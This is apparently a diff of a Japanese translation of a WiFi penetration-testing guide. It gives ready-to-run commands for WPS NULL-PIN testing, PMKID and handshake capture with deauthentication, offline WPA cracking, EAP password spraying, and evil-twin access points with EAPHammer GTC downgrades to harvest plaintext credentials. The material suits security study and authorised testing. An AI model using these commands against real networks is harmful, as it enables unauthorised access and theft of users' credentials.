PIN**(空のPINまたは存在しないPIN)でもアクセスを許可してしまうことがあり、これはかなり珍しいことです。**Reaver**ツールは、**Bully**とは異なり、この脆弱性をテストすることができます。 ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` @@ -263,46 +261,44 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' 提案されたすべてのWPS攻撃は、_**airgeddon**_ を使用して簡単に実行できます。 -![](<../../.gitbook/assets/image (124).png>) +![](<../../.gitbook/assets/image (219).png>) * 5と6は、**カスタムPIN**(あれば)を試すことができます * 7と8は**Pixie Dust攻撃**を実行します * 13は**NULL PIN**をテストできます -* 11と12は、選択したAPに関連するPINを利用可能なデータベースから**再収集**し、ComputePIN、EasyBox、オプションでArcadyan(おすすめ、なぜなら)を使用して可能な**PIN**を**生成**します +* 11と12は、選択したAPに関連するPINを利用可能なデータベースから**再収集**し、ComputePIN、EasyBox、およびオプションでArcadyan(おすすめ、なぜなら?)を使用して可能な**PIN**を**生成**します * 9と10は**すべての可能なPIN**をテストします ## **WEP** -今日では壊れて使われていない。_**airgeddon**_ には、この種の保護を攻撃するための"All-in-One"というWEPオプションがあります。他のツールも同様のオプションを提供しています。 - -![](<../../.gitbook/assets/image (125).png>) +今日では壊れて使われていません。_**airgeddon**_ には、この種の保護を攻撃するための"All-in-One"というWEPオプションがあります。他のツールも類似のオプションを提供しています。 +![](<../../.gitbook/assets/image (432).png>) *** - + [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう -**リアルタイムのハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう +**リアルタイムハックニュース**\ +リアルタイムのニュースと洞察を通じて、ハッキングの世界の速報を追いかけましょう **最新の発表**\ -最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう +最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう -**[Discord](https://discord.com/invite/N3FrSbmwdy)** で私たちに参加し、今日からトップハッカーと協力を始めましょう! +**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** *** - ## WPA/WPA2 PSK ### PMKID -2018年、**hashcat** は、**1つのパケット**だけで済み、攻撃対象のAPにクライアントが接続されていなくても、攻撃者とAPとの間の相互作用だけで済むというユニークな新しい攻撃方法を[公開](https://hashcat.net/forum/thread-7717.html)しました。 +2018年、**hashcat** は、**1つのパケット**だけで済み、**ターゲットAPに接続されたクライアントは必要ない**という点でユニークな新しい攻撃方法を[公開](https://hashcat.net/forum/thread-7717.html)しました。 多くの現代のルーターは、関連付け中に最初のEAPOLフレームに**オプションフィールド**を追加します。これは`Robust Security Network`として知られるもので、`PMKID`を含みます。 @@ -310,9 +306,9 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ```bash PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` -与えられた「PMK Name」が一定であることから、APとステーションのBSSID、そして`PMK`が完全な4ウェイハンドシェイクからのものと同一であることがわかっている場合、**hashcat**はこの情報を使用してPSKを解読し、パスフレーズを回復することができます! +与えられた「PMK Name」が一定であることから、APとステーションのBSSIDを知っているし、`PMK`が完全な4ウェイハンドシェイクからのものと同一であることがわかっている場合、**hashcat**はこの情報を使用してPSKを解読し、パスフレーズを回復することができます! -この情報を**収集**し、ローカルでパスワードを**ブルートフォース**するには、次の手順を実行できます: +この情報を**収集**し、ローカルでパスワードを**ブルートフォース**するには、次の操作を行うことができます: ```bash airmon-ng check kill airmon-ng start wlan0 @@ -324,17 +320,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 #You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` -**キャプチャされたPMKIDs**は**コンソール**に表示され、また**/tmp/attack.pcap**内に**保存**されます。\ -次に、キャプチャを**hashcat/john**形式に変換してクラックします: +**PMKIDs captured** は **コンソール** に表示され、また **/tmp/attack.pcap** にも **保存** されます。\ +次に、キャプチャを **hashcat/john** フォーマットに変換してクラックします: ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` -正しいハッシュの形式には**4つの部分**が含まれています。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` -もし**3つの部分**しかない場合、それは**無効**です(PMKIDキャプチャが有効ではありませんでした)。 +正しいハッシュの形式には**4つの部分**が含まれていることに注意してください。例:`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` もしあなたのハッシュが**3つの部分**しか含まれていない場合、それは**無効**です(PMKIDキャプチャが有効ではありません)。 -`hcxdumptool`は**ハンドシェイクもキャプチャ**します(次のようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。 +`hcxdumptool`は**ハンドシェイクもキャプチャ**します(次のようなものが表示されます:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。 ```bash tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] @@ -342,32 +337,32 @@ hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` -_このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことに気づきました。可能であれば、従来の方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。_ +_このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことに気づきました。可能であれば、伝統的な方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。_ ### ハンドシェイクのキャプチャ -**WPA/WPA2** ネットワークへの攻撃は、**ハンドシェイク**をキャプチャしてパスワードを**オフライン**で**クラック**することによって実行できます。このプロセスには、特定のネットワークと**BSSID**、特定の**チャンネル**上の通信を監視することが含まれます。以下は簡略化されたガイドです: +**WPA/WPA2**ネットワークへの攻撃は、**ハンドシェイク**をキャプチャしてパスワードを**オフライン**で**クラック**しようとすることで実行できます。このプロセスには、特定のネットワークと**BSSID**、特定の**チャンネル**上の通信を監視することが含まれます。以下は簡略化されたガイドです: -1. ターゲットネットワークの**BSSID**、**チャンネル**、および**接続されたクライアント**を特定します。 +1. ターゲットネットワークの**BSSID**、**チャンネル**、および**接続されているクライアント**を特定します。 2. `airodump-ng`を使用して、指定されたチャンネルとBSSID上のネットワークトラフィックを監視し、ハンドシェイクをキャプチャしようとします。コマンドは次のようになります: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` -3. シェイクハンドをキャプチャする可能性を高めるために、一時的にクライアントをネットワークから切断して再認証を強制します。これは、`aireplay-ng`コマンドを使用して行うことができます。このコマンドは、クライアントに切断パケットを送信します。 +3. シェイクハンドをキャプチャする可能性を高めるために、一時的にクライアントをネットワークから切断して再認証を強制します。これは、`aireplay-ng`コマンドを使用して行うことができます。このコマンドは、クライアントに切断パケットを送信します: ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios ``` -_クライアントが認証解除されたため、別のAPに接続しようとする可能性があります。また、他の場合では、異なるネットワークに接続しようとすることもあります。_ +_クライアントが認証解除されたため、別のAPに接続しようとする可能性があります。または、他の場合には、異なるネットワークに接続しようとする可能性があります。_ -`airodump-ng` にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます: +`airodump-ng`にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます: ![](<../../.gitbook/assets/image (172) (1).png>) -ハンドシェイクがキャプチャされたら、`aircrack-ng` でそれを **クラック** できます: +ハンドシェイクがキャプチャされると、`aircrack-ng`でそれを**クラック**できます: ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` -### ファイル内のハンドシェイクをチェックします +### ファイル内のハンドシェイクをチェックする **aircrack** ```bash @@ -395,19 +390,15 @@ pyrit -r psk-01.cap analyze 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` 1. **EAP-GTC (Generic Token Card)**: -- この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートしています。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードを平文でアクセスポイントに送信するため、ダウングレード攻撃のリスクがあります。 - +* この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートしています。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードをアクセスポイントに平文で送信するため、ダウングレード攻撃のリスクがあります。 2. **EAP-MD5 (Message Digest 5)**: -- クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、およびセッション固有のWEPキーの生成能力の欠如のため、**推奨されていません**。 - +* クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、およびセッション固有のWEPキーの生成能力の欠如のため、**推奨されていません**。 3. **EAP-TLS (Transport Layer Security)**: -- 認証のためにクライアント側とサーバー側の両方の証明書を利用し、ユーザーベースおよびセッションベースのWEPキーを動的に生成して通信を保護します。 - +* 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成できます。 4. **EAP-TTLS (Tunneled Transport Layer Security)**: -- 暗号化されたトンネルを介して相互認証を提供し、ダイナミックでユーザーごと、セッションごとのWEPキーを導出する方法を提供します。クライアントは資格情報を使用し、サーバー側の証明書のみが必要です。 - +* 暗号化されたトンネルを介して相互認証を提供し、ダイナミックでユーザーごと、セッションごとのWEPキーを導出する方法を提供します。クライアントは資格情報を使用し、サーバー側の証明書のみが必要です。 5. **PEAP (Protected Extensible Authentication Protocol)**: -- 保護された通信のためにTLSトンネルを作成することで、EAPと同様に機能します。EAPの上に弱い認証プロトコルの使用を許可しますが、トンネルによって提供される保護のために可能です。 +* 保護された通信のためにTLSトンネルを作成することで、EAPと同様に機能します。EAPの上に弱い認証プロトコルの使用を許可しますが、トンネルによって提供される保護のために。 * **PEAP-MSCHAPv2**: PEAPとも呼ばれ、脆弱なMSCHAPv2のチャレンジ/レスポンスメカニズムを保護するTLSトンネルを組み合わせています。 * **PEAP-EAP-TLS (またはPEAP-TLS)**: EAP-TLSと類似していますが、証明書の交換の前にTLSトンネルを開始し、追加のセキュリティレイヤーを提供します。 @@ -417,40 +408,36 @@ pyrit -r psk-01.cap analyze [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**"Identity"** **メッセージ**が**サポート**されている必要があり、**ユーザー名**は**"Response Identity"**メッセージで**クリア**に送信されます。 -最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、**EAPプロトコルで送信されるユーザー名をキャプチャ**することが可能です。これを行うには、**認証通信をキャプチャ**し(`airodump-ng`をチャンネル内で開始し、同じインターフェースで`wireshark`を開始)、パケットを`eapol`でフィルタリングします。\ +最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、**EAPプロトコルで送信されるユーザー名をキャプチャ**することが可能です。これを行うには、**認証通信をキャプチャ**し(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を開始)、パケットを`eapol`でフィルタリングします。\ **"Response, Identity"**パケットの中に、クライアントの**ユーザー名**が表示されます。 -![](<../../.gitbook/assets/image (150).png>) +![](<../../.gitbook/assets/image (850).png>) ### 匿名ID -EAP-PEAPおよびEAP-TTLSの両方で、アイデンティティの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイント(AP)によって関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理する初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます: +EAP-PEAPおよびEAP-TTLSの両方で、アイデンティティの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイント(AP)によって(AP)の関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理するために初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます: * EAP-Identity = anonymous - -- このシナリオでは、すべてのユーザーがユーザー識別子として擬似的な「anonymous」を使用しています。初期のRADIUSサーバーは、EAP-PEAPまたはEAP-TTLSプロトコルのサーバーサイドを管理する責任があります。その後、内部(保護された)認証メソッドは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。 - -* EAP-Identity = anonymous@realm_x - -- この状況では、異なるレルムのユーザーが自分のレルムを示しながらアイデンティティを隠します。これにより、初期のRADIUSサーバーは、ユーザーのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシできます。これらのサーバーはPEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーノードとして動作します。 - -- 代わりに、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送することができます。このオプションは、異なるレルムに対して異なるポリシーを構成することを容易にします。 +* このシナリオでは、すべてのユーザーがユーザー識別子として擬似的な「anonymous」を使用します。初期のRADIUSサーバーは、EAP-PEAPまたはEAP-TTLSプロトコルのサーバーサイドを管理する責任があります。その後、内部(保護された)認証メソッドは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。 +* EAP-Identity = anonymous@realm\_x +* この状況では、異なるレルムのユーザーは、それぞれのレルムを示しながらアイデンティティを隠します。これにより、初期のRADIUSサーバーは、彼らのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシし、PEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーノードとして動作します。 +* また、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送することができます。このオプションは、さまざまなレルムに対して異なるポリシーを構成することを容易にします。 EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、TLSトンネルを介して送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの実際のアイデンティティを含むEAP-Identity応答を送信します。このアプローチにより、802.11トラフィックを盗聴している人にユーザーの実際のアイデンティティが明らかにされるのを効果的に防ぎます。 -EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージに、User-Name属性とPasswordまたはCHAP-Password属性を含めます。 +EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。 -選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表されます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルで保護された認証メソッドを続行します。別の場合、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送します。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルレイヤーが含まれません。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストからの匿名User-Nameを置き換えるユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAP(TTLSのみでサポートされる)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が、着信RADIUSリクエストで見つかる匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代入されます。 +選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表すことができます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルによって保護された認証メソッドを続行します。または、PEAP/TTLSサーバーは、新しいRADIUSリクエストをユーザーのホームRADIUSサーバーに転送することができます。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコルレイヤーを省略します。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストで見つかった匿名User-Nameを置き換える、ユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAP(TTLSのみでサポートされる)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が、着信RADIUSリクエストで見つかった匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代わります。 -詳細については、[こちら](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)を参照してください。 +詳細については、[こちら](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)をチェックしてください。 ### EAP-Bruteforce(パスワードスプレー) -クライアントが**ユーザー名とパスワード**を使用することが期待される場合(**EAP-TLSはこの場合有効ではありません**)、**ユーザー名のリスト**(次の部分を参照)と**パスワード**を取得して、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。 +クライアントが**ユーザー名とパスワード**を使用することが期待される場合(**EAP-TLSはこの場合有効ではありません**)、**ユーザー名のリスト**(次の部分を参照)と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。 ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` -あなたは`eaphammer`を使用してこの攻撃を行うこともできます: +あなたは`eaphammer`を使用してこの攻撃を行うこともできます: ```bash ./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ @@ -462,9 +449,9 @@ EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライア ### ネットワーク選択とローミング -- 802.11プロトコルは、ステーションが拡張サービスセット(ESS)に参加する方法を定義していますが、ESSまたはそれに含まれるアクセスポイント(AP)を選択する基準を指定していません。 -- ステーションは、同じESSIDを共有するAP間をロームし、建物やエリア全体で接続を維持します。 -- プロトコルは、ステーションがESSに対して認証することを要求しますが、APがステーションに対して認証することは義務付けていません。 +- 802.11プロトコルは、ステーションが拡張サービスセット(ESS)に参加する方法を定義しますが、ESSまたはそれに含まれるアクセスポイント(AP)の選択基準を指定しません。 +- ステーションは、同じESSIDを共有するAP間をローミングし、建物やエリア全体で接続を維持します。 +- プロトコルは、ステーションがESSに対して認証することを要求しますが、APがステーションに対して認証することは義務付けられていません。 ### 優先ネットワークリスト(PNL) @@ -473,21 +460,21 @@ EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライア ### パッシブスキャン -- APは定期的にビーコンフレームをブロードキャストし、存在と機能をアナウンスします。APのESSIDを含む(ブロードキャストが無効になっていない限り)。 +- APは定期的にビーコンフレームをブロードキャストし、APの存在と機能をアナウンスします。ブロードキャストが無効になっていない限り、APのESSIDも含まれます。 - パッシブスキャン中、ステーションはビーコンフレームを受信します。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続する可能性があります。 - デバイスのPNLの知識により、既知のネットワークのESSIDを模倣してデバイスをローグAPに接続させることで潜在的な攻撃が可能となります。 ### アクティブプロービング -- アクティブプロービングには、ステーションが近くのAPを発見するためにプローブリクエストを送信することが含まれます。 -- 指向性プローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます(非表示ネットワークであっても)。 +- アクティブプロービングには、ステーションがプローブリクエストを送信して近くのAPを検出し、その特性を調べることが含まれます。 +- ディレクテッドプローブリクエストは特定のESSIDを対象とし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます(非表示ネットワークであっても)。 - ブロードキャストプローブリクエストにはヌルのSSIDフィールドがあり、すべての近くのAPに送信され、ステーションがPNLの内容を開示せずに任意の優先ネットワークをチェックできます。 -## インターネットにリダイレクトされるシンプルなAP +## インターネットにリダイレクトする単純なAP -より複雑な攻撃を実行する方法を説明する前に、**インターフェース**を**インターネットに接続された**インターフェースに**トラフィックをリダイレクト**するだけの**AP**を**作成**する方法について説明します。 +より複雑な攻撃を実行する方法を説明する前に、**インターフェース**を**インターネットに接続**した**AP**を**作成**し、その**トラフィック**を**リダイレクト**する方法について説明します。 -`ifconfig -a`を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。 +`ifconfig -a` を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認してください。 ### DHCP & DNS ```bash @@ -505,22 +492,24 @@ log-queries log-dhcp listen-address=127.0.0.1 ``` -次に、**IPアドレス**と**ルート**を設定します: +次に、**IPアドレス**と**ルート**を設定します: ```bash ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 ``` -その後、dnsmasqを**起動**します: +その後、**dnsmasqを起動**します: ```bash dnsmasq -C dnsmasq.conf -d ``` ### hostapd + +hostapdは、Wi-Fiアクセスポイントとして機能するソフトウェアアクセスポイントです。 hostapdを使用すると、ワイヤレスネットワークを作成し、セキュリティ機能をカスタマイズして、ペネトレーションテストを実行できます。 hostapdを使用すると、さまざまなWi-Fi攻撃をシミュレートして、ネットワークの脆弱性を特定できます。 ```bash apt-get install hostapd ``` -Create a config file `hostapd.conf`: - -`hostapd.conf`という設定ファイルを作成します: +```plaintext +`hostapd.conf`ファイルを作成します: +``` ```ini interface=wlan0 driver=nl80211 @@ -538,7 +527,7 @@ wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` -**うるさいプロセスを停止**し、**モニターモード**を設定し、**hostapdを起動**します: +**うるさいプロセスを停止**し、**モニターモードを設定**し、**hostapdを起動**します: ```bash airmon-ng check kill iwconfig wlan0 mode monitor @@ -553,13 +542,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward ``` ## イービルツイン -イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を悪用し、基地局(アクセスポイント)がクライアントに認証を要求せずに、主にネットワーク名(ESSID)に依存しています。主なポイントは次のとおりです: +イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を悪用します。主にネットワーク名(ESSID)に依存し、基地局(アクセスポイント)がクライアントに認証を要求しない特性を利用します。主なポイントは次のとおりです: - **区別の難しさ**:デバイスは、同じESSIDと暗号化タイプを共有する場合、合法的なアクセスポイントと偽のアクセスポイントを区別するのに苦労します。実世界のネットワークでは、同じESSIDを持つ複数のアクセスポイントがシームレスにカバレッジを拡張するために使用されることがよくあります。 +- **クライアントのローミングと接続操作**:802.11プロトコルでは、デバイスが同じESS内のアクセスポイント間をローミングできます。攻撃者は、デバイスを誘導して現在の基地局から切断させ、偽の基地局に接続させることができます。これは、より強力な信号を提供するか、切断パケットやジャミングなどの手法を使用して合法的なアクセスポイントへの接続を妨害することで達成できます。 +- **実行上の課題**:複数の適切な場所に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の合法的なアクセスポイントを切断すると、デバイスが別の合法的なアクセスポイントに接続することがよくあります。攻撃者が近くのすべてのアクセスポイントの認証を解除するか、戦略的に偽のアクセスポイントを配置しなければならない場合があります。 -- **クライアントのローミングと接続の操作**:802.11プロトコルでは、デバイスが同じESS内のアクセスポイント間をローミングできるようになっています。攻撃者は、デバイスを現在の基地局から切断させ、偽の基地局に接続させることができます。これは、より強力な信号を提供するか、切断パケットやジャミングなどの手法を使用して合法的なアクセスポイントへの接続を妨害することで達成できます。 - -- **実行上の課題**:複数の適切な場所に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の合法的なアクセスポイントを切断すると、デバイスが別の合法的なアクセスポイントに接続することがよくあります。攻撃者が近くのすべてのアクセスポイントを切断するか、偽のアクセスポイントを戦略的に配置しなければならない場合があります。 +非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はない)を作成することができます: ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` @@ -567,17 +556,17 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ```bash ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` -または、Airgeddonを使用する:`オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)。` +またはAirgeddonを使用する:`オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)。` -![](<../../.gitbook/assets/image (148).png>) +![](<../../.gitbook/assets/image (1088).png>) -デフォルトでは、PNL内のESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法を使用すると、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。 +デフォルトでは、PNL内のESSIDがWPAで保護されて保存されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動であなたのオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法を使用すると、被害者をあなたに接続させることはできませんが、PSKを知らないため、ハンドシェイクをキャプチャして解読を試みることができます)。 -_一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告するかもしれません..._ +_一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告します..._ ### WPA/WPA2 Evil Twin -**WPA/2を使用したEvil Twin**を作成することができ、デバイスがそのSSIDにWPA/2で接続するように構成されている場合、接続を試みるでしょう。ただし、**4ウェイハンドシェイクを完了**するには、クライアントが使用する**パスワードを知る**必要があります。それを**知らない**場合、**接続は完了しません**。 +**WPA/2を使用したEvil Twin**を作成できます。デバイスがWPA/2でそのSSIDに接続するように構成されている場合、接続を試みるでしょう。とにかく、**4ウェイハンドシェイクを完了**するには、クライアントが使用する**パスワード**を**知っている**必要があります。それを**知らない**場合、**接続は完了しません**。 ```bash ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` @@ -592,9 +581,9 @@ _一部のOSとAVは、オープンネットワークに接続することは危 ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com hostapd-wpe ./victim/victim.conf -s ``` -設定ファイルでは、ssid、channel、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます。 +設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、authなど、さまざまな項目を選択できます。 -[**EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する。**](evil-twin-eap-tls.md) +[**EAP-TLSを使用してhostapd-wpeを使用し、任意の証明書でログインを許可する。**](evil-twin-eap-tls.md) **EAPHammerの使用** ```bash @@ -604,15 +593,15 @@ hostapd-wpe ./victim/victim.conf -s # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` -デフォルトでは、EAPHammerはこの認証方法を使用します(平文パスワードを取得するために最初にGTCを試し、その後より堅牢な認証方法を使用します): +デフォルトでは、EAPHammerはこの認証方法を目的としています(平文パスワードを取得するために最初にGTCを試み、その後より堅牢な認証方法を使用します): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` -これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに指定することもできます。 +これは長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強力な方法まで、サーバーに認証方法を指定することもできます。 ``` --negotiate weakest ``` -または次のように使用することもできます: +または、次のようにしても利用できます: * `--negotiate gtc-downgrade` を使用して、高効率のGTCダウングレード実装(平文パスワード)を使用します。 * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` を指定して、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ認証メソッドを同じ順序で提供すると、攻撃を検出するのがはるかに難しくなります)。 @@ -623,44 +612,41 @@ 